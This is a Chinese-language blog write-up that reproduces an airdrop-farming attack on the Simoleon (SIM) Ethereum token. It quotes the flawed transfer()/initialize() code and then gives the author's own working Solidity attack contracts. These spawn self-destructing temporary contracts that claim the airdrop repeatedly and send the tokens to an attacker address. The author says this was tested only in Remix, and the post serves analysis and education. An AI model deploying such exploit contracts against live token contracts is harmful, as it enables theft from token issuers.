前几天启明星辰积极防御实验室分享了一篇 利用SIM token合约代码逻辑缺陷自动化薅羊毛的攻击事件,攻击者的思路很棒,对以太坊的一些原理理解非常深刻。
同样启明星辰积极防御实验室的julao们的文章也很到位,每一步攻击流程都分析的很透彻,但美中不足的是,没有给出攻击者部署合约的恶意代码,原因是恶意合约最后进行了自动销毁,使自己的代码从区块链上消失。
没有提供复现代码怎么办? 当然是自己写咯
function transfer(address _to, uint256 _amount) returns (bool success) {
initialize(msg.sender);
if (balances[msg.sender] >= _amount
&& _amount > 0) {
initialize(_to);
if (balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
} else {
return false;
}
}
在transfer()中首先调用了initialize():
function initialize(address _address) internal returns (bool success) {
if (_totalSupply < _cutoff && !initialized[_address]) {
initialized[_address] = true;
balances[_address] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
initialize()作用是判断参与账户是否接收过空投,没有接受过就给参与账户空投一定数量的代币,再标记参与账户以接收空投,以免重复空投被薅羊毛。
看似一段比较正常的代码逻辑,但是开发者忽略了一个问题:钱包账户是可以无条件创建的
我们可以手动创建一批账户依次调用transfer()发起一笔转账,因为账户之前并没有进行过交易拿到空投,所以可以获得一次免费的空投,数量是 1000000 代币。然后把空投获得的代币转入自己账户中。但是这样不仅步骤繁琐,而且每一笔交易都会产生手续费,增加了不必要的成本。
那么攻击者的思路是怎样的呢?
首先部署一个恶意合约,在恶意合约中生成临时合约,临时合约调用SIM token中的transfer(),因为临时合约账户没有进行过交易,会触发initialize()进行空投。获得空投后,临时合约账户将空投获得的代币转入攻击者账户,最后临时合约销毁。
这是攻击一次的流程,攻击者一次生成了50个临时合约薅羊毛,效率比手工高太多了。
果然,知识才能解放双手啊。
还原仅在http://remix.ethereum.org进行操作,没有在公网上进行任何攻击。
自己写的恶意合约代码:
contract Attack{
function Attack(address addressOfContract){
Simoleon s = Simoleon(addressOfContract);
s.transfer(0xdd870fa1b7c4700f2bd7f44238821c26f7392148,1000000);
}
function kill(){
selfdestruct(0xdd870fa1b7c4700f2bd7f44238821c26f7392148);
}
}
contract AdminSS{
function Hack(address OfContract){
for(var i=0; i < 20; i++){
Attack fff = new Attack(OfContract);
fff.kill();
}
}
}
AdminSS构造函数中将OfContract参数带入Attack合约中,Attack也就是调用被攻击合约的transfer()进行空投的临时合约,所以OfContract参数传入被攻击的合约账户。
获得空投后将临时合约账户余额全部转入攻击者账户中,接着AdminSS调用临时合约中的kall()销毁临时合约,一次攻击结束。
for循环i<20,也就是会执行20次上面的操作。
传入SIM token合约地址后点击Deploy,执行结束后可以看到产生了很多笔交易
查一下0xdd870fa1b7c4700f2bd7f44238821c26f7392148(攻击者账户)的余额:
余额是21000000,其中的1000000,是初始交易时空投送的,剩下20000000是二十个临时合约交易的总和。可以看到,二十个临时合约获得的空投全部转入了攻击者账户。
这篇文章本来是上周就该发出来了,拖了一周才发,我越来越懒了。
虽然启明星辰的julao们没有在漏洞场景方面复现还原,但从其他角度深度解析了这次攻击事件,比如以太坊的gas消耗机制,http://etherscan.io交易记录原理等,很棒的文章,值得一看。
【1】首个区块链token的自动化薅羊毛分析
https://paper.seebug.org/646/
【2】Simoleon (SIM)
https://etherscan.io/address/0x86c8bf8532aa2601151c9dbbf4e4c4804e042571